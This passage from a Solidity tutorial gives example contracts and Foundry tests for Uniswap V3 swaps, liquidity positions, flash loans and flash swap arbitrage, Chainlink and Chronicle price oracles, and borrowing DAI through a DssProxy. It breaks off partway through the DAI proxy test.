        uint256 amountIn = router.exactOutput(params);

        if (amountIn < amountInMax) {
            weth.approve(address(router), 0);
            weth.transfer(msg.sender, amountInMax - amountIn);
        }
    }
}

interface ISwapRouter02 {
    struct ExactInputParams {
        bytes path;
        address recipient;
```

```
        uint256 amountIn;
        uint256 amountOutMinimum;
    }

    function exactInput(ExactInputParams calldata params)
        external
        payable
        returns (uint256 amountOut);

    struct ExactOutputParams {
        bytes path;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
    }

    function exactOutput(ExactOutputParams calldata params)
        external
        payable
        returns (uint256 amountIn);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
```

Test with Foundry

Single hop test

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import "../../../src/defi/uniswap-v3-swap/UniswapV3SingleHopSwap.sol";

contract UniswapV3SingleHopSwapTest is Test {
    address private constant SWAP_ROUTER_02 =
        0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address private constant DAI_WETH_POOL_3000 =
```

```
        0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8;

    IWETH private constant weth = IWETH(WETH);
    IERC20 private constant dai = IERC20(DAI);

    UniswapV3SingleHopSwap private swap;

    uint256 private constant AMOUNT_IN = 1e18;
    uint256 private constant AMOUNT_OUT = 50 * 1e18;
    uint256 private constant MAX_AMOUNT_IN = 1e18;

    function setUp() public {
        swap = new UniswapV3SingleHopSwap();
        weth.deposit{value: AMOUNT_IN + MAX_AMOUNT_IN}();
        weth.approve(address(swap), type(uint256).max);
    }

    function test_swapExactInputSingleHop() public {
        swap.swapExactInputSingleHop(AMOUNT_IN, 1);
        uint256 d1 = dai.balanceOf(address(this));
        assertGt(d1, 0, "DAI balance = 0");
    }

    function test_swapExactOutputSingleHop() public {
        uint256 w0 = weth.balanceOf(address(this));
        uint256 d0 = dai.balanceOf(address(this));
        swap.swapExactOutputSingleHop(AMOUNT_OUT, MAX_AMOUNT_IN);
        uint256 w1 = weth.balanceOf(address(this));
        uint256 d1 = dai.balanceOf(address(this));

        assertLt(w1, w0, "WETH balance didn't decrease");
        assertGt(d1, d0, "DAI balance didn't increase");
        assertEq(weth.balanceOf(address(swap)), 0, "WETH balance of swap != 0");
        assertEq(dai.balanceOf(address(swap)), 0, "DAI balance of swap != 0");
    }
}
```

Multi hop test

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import "../../../src/defi/uniswap-v3-swap/UniswapV3MultiHopSwap.sol";

contract UniswapV3MultiHopSwapTest is Test {
    address private constant SWAP_ROUTER_02 =
        0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    IWETH private constant weth = IWETH(WETH);
    IERC20 private constant dai = IERC20(DAI);
    IERC20 private constant usdc = IERC20(USDC);

    UniswapV3MultiHopSwap private swap;

    uint256 private constant AMOUNT_IN = 10 * 1e18;
    uint256 private constant AMOUNT_OUT = 20 * 1e18;
    uint256 private constant MAX_AMOUNT_IN = 1e18;
```

```
    function setUp() public {
        swap = new UniswapV3MultiHopSwap();
        weth.deposit{value: AMOUNT_IN + MAX_AMOUNT_IN}();
        weth.approve(address(swap), type(uint256).max);
    }

    function test_swapExactInputMultiHop() public {
        swap.swapExactInputMultiHop(AMOUNT_IN, 1);
        uint256 d1 = dai.balanceOf(address(this));
        assertGt(d1, 0, "DAI balance = 0");
    }

    function test_swapExactOutputMultiHop() public {
        uint256 w0 = weth.balanceOf(address(this));
        uint256 d0 = dai.balanceOf(address(this));
        swap.swapExactOutputMultiHop(AMOUNT_OUT, MAX_AMOUNT_IN);
        uint256 w1 = weth.balanceOf(address(this));
        uint256 d1 = dai.balanceOf(address(this));

        assertLt(w1, w0, "WETH balance didn't decrease");
        assertGt(d1, d0, "DAI balance didn't increase");
        assertEq(weth.balanceOf(address(swap)), 0, "WETH balance of swap != 0");
        assertEq(dai.balanceOf(address(swap)), 0, "DAI balance of swap != 0");
    }
}
```

Explanation:

- Uniswap V3 introduces concentrated liquidity: LPs provide liquidity within a price range `[tickLower, tickUpper]`.
- Capital efficiency is dramatically higher than V2 — LPs can earn more fees with less capital in active ranges.
- Swaps are routed through the `SwapRouter` using `exactInputSingle` (single hop) or `exactInput` (multi-hop with encoded `path`).
- `sqrtPriceX96` encodes the current price as a Q64.96 fixed-point number.
- `fee` tiers: 100 bps (0.01%) for stable pairs, 500 bps (0.05%), 3000 bps (0.3%), 10000 bps (1%).
- Multi-hop path is ABI-encoded as `tokenIn ++ fee ++ tokenMid ++ fee ++ tokenOut`.

7.13 Uniswap V3 Liquidity Examples

Uniswap V3 liquidity examples

Examples of minting new position, collecting fees, increasing and decreasing liquidity.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract UniswapV3Liquidity is IERC721Receiver {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 60;

    INonfungiblePositionManager public nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintNewPosition(uint256 amount0ToAdd, uint256 amount1ToAdd)
        external
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.MintParams memory params =
        INonfungiblePositionManager.MintParams({
            token0: DAI,
            token1: WETH,
```

```
            fee: 3000,
            tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
            tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (tokenId, liquidity, amount0, amount1) =
            nonfungiblePositionManager.mint(params);

        if (amount0 < amount0ToAdd) {
            dai.approve(address(nonfungiblePositionManager), 0);
            uint256 refund0 = amount0ToAdd - amount0;
            dai.transfer(msg.sender, refund0);
        }
        if (amount1 < amount1ToAdd) {
            weth.approve(address(nonfungiblePositionManager), 0);
            uint256 refund1 = amount1ToAdd - amount1;
            weth.transfer(msg.sender, refund1);
        }
    }

    function collectAllFees(uint256 tokenId)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.CollectParams memory params =
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: address(this),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        (amount0, amount1) = nonfungiblePositionManager.collect(params);
    }

    function increaseLiquidityCurrentRange(
        uint256 tokenId,
        uint256 amount0ToAdd,
        uint256 amount1ToAdd
    ) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.IncreaseLiquidityParams memory params =
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (liquidity, amount0, amount1) =
```

```
            nonfungiblePositionManager.increaseLiquidity(params);
    }

    function decreaseLiquidityCurrentRange(uint256 tokenId, uint128 liquidity)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.DecreaseLiquidityParams memory params =
        INonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (amount0, amount1) =
            nonfungiblePositionManager.decreaseLiquidity(params);
    }
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    struct IncreaseLiquidityParams {
        uint256 tokenId;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        returns (uint128 liquidity, uint256 amount0, uint256 amount1);

    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
```

```
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
```

Test with Foundry

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import "../../../src/defi/uniswap-v3-liquidity/UniswapV3Liquidity.sol";

contract UniswapV3LiquidityTest is Test {
    IWETH private constant weth = IWETH(WETH);
    IERC20 private constant dai = IERC20(DAI);

    address private constant DAI_WHALE =
        0xe81D6f03028107A20DBc83176DA82aE8099E9C42;

    UniswapV3Liquidity private uni = new UniswapV3Liquidity();
```

```
    function setUp() public {
        vm.prank(DAI_WHALE);
        dai.transfer(address(this), 20 * 1e18);

        weth.deposit{value: 2 * 1e18}();

        dai.approve(address(uni), 20 * 1e18);
        weth.approve(address(uni), 2 * 1e18);
    }

    function testLiquidity() public {
        // Track total liquidity
        uint128 liquidity;

        // Mint new position
        uint256 daiAmount = 10 * 1e18;
        uint256 wethAmount = 1e18;

        (
            uint256 tokenId,
            uint128 liquidityDelta,
            uint256 amount0,
            uint256 amount1
        ) = uni.mintNewPosition(daiAmount, wethAmount);
        liquidity += liquidityDelta;

        console2.log("--- Mint new position ---");
        console2.log("token id", tokenId);
        console2.log("liquidity", liquidity);
        console2.log("amount 0", amount0);
        console2.log("amount 1", amount1);

        // Collect fees
        (uint256 fee0, uint256 fee1) = uni.collectAllFees(tokenId);

        console2.log("--- Collect fees ---");
        console2.log("fee 0", fee0);
        console2.log("fee 1", fee1);

        // Increase liquidity
        uint256 daiAmountToAdd = 5 * 1e18;
        uint256 wethAmountToAdd = 0.5 * 1e18;

        (liquidityDelta, amount0, amount1) = uni.increaseLiquidityCurrentRange(
            tokenId, daiAmountToAdd, wethAmountToAdd
        );
        liquidity += liquidityDelta;

        console2.log("--- Increase liquidity ---");
        console2.log("liquidity", liquidity);
        console2.log("amount 0", amount0);
        console2.log("amount 1", amount1);

        // Decrease liquidity
        (amount0, amount1) =
            uni.decreaseLiquidityCurrentRange(tokenId, liquidity);
        console2.log("--- Decrease liquidity ---");
        console2.log("amount 0", amount0);
        console2.log("amount 1", amount1);
    }
}
```

Links

Uniswap V3

Foundry

Uniswap V3 Foundry example

7.14 Uniswap V3 Flash Loan

Uniswap V3 Flash Loan

Uniswap V3 Flash Loan Example

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract UniswapV3Flash {
    struct FlashCallbackData {
        uint256 amount0;
        uint256 amount1;
        address caller;
    }

    IUniswapV3Pool private immutable pool;
    IERC20 private immutable token0;
    IERC20 private immutable token1;

    constructor(address _pool) {
        pool = IUniswapV3Pool(_pool);
        token0 = IERC20(pool.token0());
        token1 = IERC20(pool.token1());
    }

    function flash(uint256 amount0, uint256 amount1) external {
        bytes memory data = abi.encode(
            FlashCallbackData({
                amount0: amount0,
                amount1: amount1,
                caller: msg.sender
            })
        );
        IUniswapV3Pool(pool).flash(address(this), amount0, amount1, data);
    }

    function uniswapV3FlashCallback(
        // Pool fee x amount requested
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external {
        require(msg.sender == address(pool), "not authorized");

        FlashCallbackData memory decoded = abi.decode(data, (FlashCallbackData));

        // Write custom code here
        if (fee0 > 0) {
            token0.transferFrom(decoded.caller, address(this), fee0);
        }
        if (fee1 > 0) {
            token1.transferFrom(decoded.caller, address(this), fee1);
        }

        // Repay borrow
        if (fee0 > 0) {
            token0.transfer(address(pool), decoded.amount0 + fee0);
        }
```

```
        if (fee1 > 0) {
            token1.transfer(address(pool), decoded.amount1 + fee1);
        }
    }
}

interface IUniswapV3Pool {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function flash(
        address recipient,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}
```

Test with Foundry

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import "../../../src/defi/uniswap-v3-flash/UniswapV3Flash.sol";

contract UniswapV3FlashTest is Test {
    address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    // DAI / WETH 0.3% fee
    address constant POOL = 0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8;
    uint24 constant POOL_FEE = 3000;

    IERC20 private constant weth = IERC20(WETH);
    IERC20 private constant dai = IERC20(DAI);
    UniswapV3Flash private uni;
    address constant user = address(11);

    function setUp() public {
        uni = new UniswapV3Flash(POOL);

        deal(DAI, user, 1e6 * 1e18);
        vm.prank(user);
        dai.approve(address(uni), type(uint256).max);
    }
```

```
    function test_flash() public {
        uint256 dai_before = dai.balanceOf(user);
        vm.prank(user);
        uni.flash(1e6 * 1e18, 0);
        uint256 dai_after = dai.balanceOf(user);

        uint256 fee = dai_before - dai_after;
        console2.log("DAI fee", fee);
    }
}
```

7.15 Uniswap V3 Flash Swap Arbitrage

Uniswap V3 Flash Swap Arbitrage

Uniswap V3 Flash Swap Arbitrage Example

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;

contract UniswapV3FlashSwap {
    ISwapRouter02 constant router = ISwapRouter02(SWAP_ROUTER_02);

    uint160 private constant MIN_SQRT_RATIO = 4295128739;
    uint160 private constant MAX_SQRT_RATIO =
        1461446703485210103287273052203988822378723970342;

    // DAI / WETH 0.3% swap fee (2000 DAI / WETH)
    // DAI / WETH 0.05% swap fee (2100 DAI / WETH)
    // 1. Flash swap on pool0 (receive WETH)
    // 2. Swap on pool1 (WETH -> DAI)
    // 3. Send DAI to pool0
    // profit = DAI received from pool1 - DAI repaid to pool0

    function flashSwap(
        address pool0,
        uint24 fee1,
        address tokenIn,
        address tokenOut,
        uint256 amountIn
    ) external {
        bool zeroForOne = tokenIn < tokenOut;
        // 0 -> 1 => sqrt price decrease
        // 1 -> 0 => sqrt price increase
        uint160 sqrtPriceLimitX96 =
            zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;

        bytes memory data = abi.encode(
            msg.sender, pool0, fee1, tokenIn, tokenOut, amountIn, zeroForOne
        );

        IUniswapV3Pool(pool0).swap({
            recipient: address(this),
            zeroForOne: zeroForOne,
            amountSpecified: int256(amountIn),
            sqrtPriceLimitX96: sqrtPriceLimitX96,
            data: data
        });
    }

    function _swap(
        address tokenIn,
        address tokenOut,
        uint24 fee,
        uint256 amountIn,
        uint256 amountOutMin
    ) private returns (uint256 amountOut) {
        IERC20(tokenIn).approve(address(router), amountIn);
```

```
        ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02
            .ExactInputSingleParams({
            tokenIn: tokenIn,
            tokenOut: tokenOut,
            fee: fee,
            recipient: address(this),
            amountIn: amountIn,
            amountOutMinimum: amountOutMin,
            sqrtPriceLimitX96: 0
        });

        amountOut = router.exactInputSingle(params);
    }

    function uniswapV3SwapCallback(
        int256 amount0,
        int256 amount1,
        bytes calldata data
    ) external {
        // Decode data
        (
            address caller,
            address pool0,
            uint24 fee1,
            address tokenIn,
            address tokenOut,
            uint256 amountIn,
            bool zeroForOne
        ) = abi.decode(
            data, (address, address, uint24, address, address, uint256, bool)
        );

        uint256 amountOut = zeroForOne ? uint256(-amount1) : uint256(-amount0);

        // pool0 -> tokenIn -> tokenOut (amountOut)
        // Swap on pool 1 (swap tokenOut -> tokenIn)
        uint256 buyBackAmount = _swap({
            tokenIn: tokenOut,
            tokenOut: tokenIn,
            fee: fee1,
            amountIn: amountOut,
            amountOutMin: amountIn
        });

        // Repay pool 0
        uint256 profit = buyBackAmount - amountIn;
        require(profit > 0, "profit = 0");

        IERC20(tokenIn).transfer(pool0, amountIn);
        IERC20(tokenIn).transfer(caller, profit);
    }
}

interface ISwapRouter02 {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
```

```
    }

    function exactInputSingle(ExactInputSingleParams calldata params)
        external
        payable
        returns (uint256 amountOut);
}

interface IUniswapV3Pool {
    function swap(
        address recipient,
        bool zeroForOne,
        int256 amountSpecified,
        uint160 sqrtPriceLimitX96,
        bytes calldata data
    ) external returns (int256 amount0, int256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
```

Test with Foundry

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {
    UniswapV3FlashSwap,
    IUniswapV3Pool,
    ISwapRouter02,
    IERC20,
    IWETH
} from "../../../src/defi/uniswap-v3-flash-swap/UniswapV3FlashSwap.sol";

address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
address constant DAI_WETH_POOL_3000 = 0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8;
address constant DAI_WETH_POOL_500 = 0x60594a405d53811d3BC4766596EFD80fd545A270;
uint24 constant FEE_0 = 3000;
uint24 constant FEE_1 = 500;
```

```
contract UniswapV3FlashTest is Test {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);
    ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER_02);
    IUniswapV3Pool private constant pool0 = IUniswapV3Pool(DAI_WETH_POOL_3000);
    IUniswapV3Pool private constant pool1 = IUniswapV3Pool(DAI_WETH_POOL_500);
    UniswapV3FlashSwap private flashSwap;

    uint256 private constant DAI_AMOUNT_IN = 10 * 1e18;

    function setUp() public {
        flashSwap = new UniswapV3FlashSwap();

        // Create an arbitrage opportunity - make WETH cheaper on pool0
        weth.deposit{value: 500 * 1e18}();
        weth.approve(address(router), 500 * 1e18);
        router.exactInputSingle(
            ISwapRouter02.ExactInputSingleParams({
                tokenIn: WETH,
                tokenOut: DAI,
                fee: FEE_0,
                recipient: address(0),
                amountIn: 500 * 1e18,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            })
        );
    }

    function test_flashSwap() public {
        uint256 bal0 = dai.balanceOf(address(this));
        flashSwap.flashSwap({
            pool0: address(pool0),
            fee1: FEE_1,
            tokenIn: DAI,
            tokenOut: WETH,
            amountIn: DAI_AMOUNT_IN
        });
        uint256 bal1 = dai.balanceOf(address(this));
        uint256 profit = bal1 - bal0;
        assertGt(profit, 0, "profit = 0");
        console2.log("Profit %e", profit);
    }
}
```

Links

Foundry

Uniswap V3 Foundry example

7.16 Chainlink Price Oracle

Chainlink Price Oracle

ETH / USD Price Oracle

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ChainlinkPriceOracle {
    AggregatorV3Interface internal priceFeed;

    constructor() {
        // ETH / USD
        priceFeed =
            AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
    }

    function getLatestPrice() public view returns (int256) {
        (
            uint80 roundID,
            int256 price,
            uint256 startedAt,
            uint256 timeStamp,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();
        // for ETH / USD price is scaled up by 10 ** 8
        return price / 1e8;
    }
}

interface AggregatorV3Interface {
    function latestRoundData()
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );
}
```

7.17 Chronicle Price Oracle

Chronicle Price Oracle

ETH / USD Price Oracle

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

/**
 * @title OracleReader
 * @notice A simple contract to read from Chronicle oracles
 * @dev To see the full repository, visit https://github.com/chronicleprotocol/OracleReader-Example.
 * @dev Addresses in this contract are hardcoded for the Sepolia testnet.
 * For other supported networks, check the https://chroniclelabs.org/dashboard/oracles.
 */
contract OracleReader {
    /**
     * @notice The Chronicle oracle to read from.
     * Chronicle_ETH_USD_3:0xdd6D76262Fd7BdDe428dcfCd94386EbAe0151603
     * Network: Sepolia
     */
    IChronicle public chronicle =
        IChronicle(address(0xdd6D76262Fd7BdDe428dcfCd94386EbAe0151603));

    /**
     * @notice The SelfKisser granting access to Chronicle oracles.
     * SelfKisser_1:0x0Dcc19657007713483A5cA76e6A7bbe5f56EA37d
     * Network: Sepolia
     * For a full list of SelfKisser addresses on different Testnet networks
     * please check here https://docs.chroniclelabs.org/Developers/tutorials/Remix
     */
    ISelfKisser public selfKisser =
        ISelfKisser(address(0x0Dcc19657007713483A5cA76e6A7bbe5f56EA37d));

    constructor() {
        // Note to add address(this) to chronicle oracle's whitelist.
        // This allows the contract to read from the chronicle oracle.
        selfKisser.selfKiss(address(chronicle));
    }

    /**
     * @notice Function to read the latest data from the Chronicle oracle.
     * @return val The current value returned by the oracle.
     * @return age The timestamp of the last update from the oracle.
     */
    function read() external view returns (uint256 val, uint256 age) {
        (val, age) = chronicle.readWithAge();
    }
}

// Copied from [chronicle-std](https://github.com/chronicleprotocol/chronicle-std/blob/main/src/IChronicle.sol).
interface IChronicle {
    /**
     * @notice Returns the oracle's current value.
     * @dev Reverts if no value set.
     * @return value The oracle's current value.
     */
    function read() external view returns (uint256 value);
```

```
    /**
     * @notice Returns the oracle's current value and its age.
     * @dev Reverts if no value set.
     * @return value The oracle's current value using 18 decimals places.
     * @return age The value's age as a Unix Timestamp .
     *
     */
    function readWithAge() external view returns (uint256 value, uint256 age);
}

// Copied from [self-kisser](https://github.com/chronicleprotocol/self-kisser/blob/main/src/ISelfKisser.sol).
interface ISelfKisser {
    /// @notice Kisses caller on address.
    function selfKiss(address oracle) external;
}
```

7.18 DAI Proxy Examples

Borrow and repay DAI using DssProxy

Example

Example of locking ETH collateral, borrowing DAI, repaying DAI and unlocking ETH using `DssProxy`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant PROXY_REGISTRY = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4;
address constant PROXY_ACTIONS = 0x82ecD135Dce65Fbc6DbdD0e4237E0AF93FFD5038;
address constant CDP_MANAGER = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address constant JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address constant JOIN_ETH_C = 0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E;
address constant JOIN_DAI = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;

bytes32 constant ETH_C =
    0x4554482d430000000000000000000000000000000000000000000000000000;

contract DaiProxy {
    IERC20 private constant dai = IERC20(DAI);
    address public immutable proxy;
    uint256 public immutable cdpId;

    constructor() {
        proxy = IDssProxyRegistry(PROXY_REGISTRY).build();
        bytes32 res = IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(IDssProxyActions.open, (CDP_MANAGER, ETH_C, proxy))
        );
        cdpId = uint256(res);
    }

    receive() external payable {}

    function lockEth() external payable {
        IDssProxy(proxy).execute{value: msg.value}(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.lockETH, (CDP_MANAGER, JOIN_ETH_C, cdpId)
            )
        );
    }

    function borrow(uint256 daiAmount) external {
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.draw,
                (CDP_MANAGER, JUG, JOIN_DAI, cdpId, daiAmount)
            )
        );
    }

    function repay(uint256 daiAmount) external {
        dai.approve(proxy, daiAmount);
```

```
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.wipe, (CDP_MANAGER, JOIN_DAI, cdpId, daiAmount)
            )
        );
    }

    function repayAll() external {
        dai.approve(proxy, type(uint256).max);
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.wipeAll, (CDP_MANAGER, JOIN_DAI, cdpId)
            )
        );
    }

    function unlockEth(uint256 ethAmount) external {
        IDssProxy(proxy).execute(
            PROXY_ACTIONS,
            abi.encodeCall(
                IDssProxyActions.freeETH,
                (CDP_MANAGER, JOIN_ETH_C, cdpId, ethAmount)
            )
        );
    }
}

interface IDssProxyRegistry {
    function build() external returns (address proxy);
}

interface IDssProxy {
    function execute(address target, bytes memory data)
        external
        payable
        returns (bytes32 res);
}

interface IDssProxyActions {
    function open(address cdpManager, bytes32 ilk, address usr)
        external
        returns (uint256 cdpId);
    function lockETH(address cdpManager, address ethJoin, uint256 cdpId)
        external
        payable;
    function draw(
        address cdpManager,
        address jug,
        address daiJoin,
        uint256 cdpId,
        uint256 daiAmount
    ) external;
    function wipe(
        address cdpManager,
        address daiJoin,
        uint256 cdpId,
        uint256 daiAmount
    ) external;
    function wipeAll(address cdpManager, address daiJoin, uint256 cdpId)
        external;
    function freeETH(
```

```
        address cdpManager,
        address ethJoin,
        uint256 cdpId,
        uint256 collateralAmount
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address dst, uint256 amount) external returns (bool);
    function transferFrom(address src, address dst, uint256 amount)
        external
        returns (bool);
}
```

Test

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import "../../../src/defi/dai-proxy/DaiProxy.sol";

address constant VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;

uint256 constant WAD = 1e18;
uint256 constant RAY = 1e27;
uint256 constant RAD = 1e45;

uint256 constant ETH_AMOUNT = 100 * 1e18;
uint256 constant DAI_AMOUNT = 10000 * 1e18;

contract DaiProxyTest is Test {
    IERC20 private constant dai = IERC20(DAI);
    ICdpManager private constant cdpManager = ICdpManager(CDP_MANAGER);
    IVat private constant vat = IVat(VAT);
    DaiProxy private proxy;

    function setUp() public {
        proxy = new DaiProxy();

        // Check min borrow
        IVat.Ilk memory ilk = vat.ilks(ETH_C);
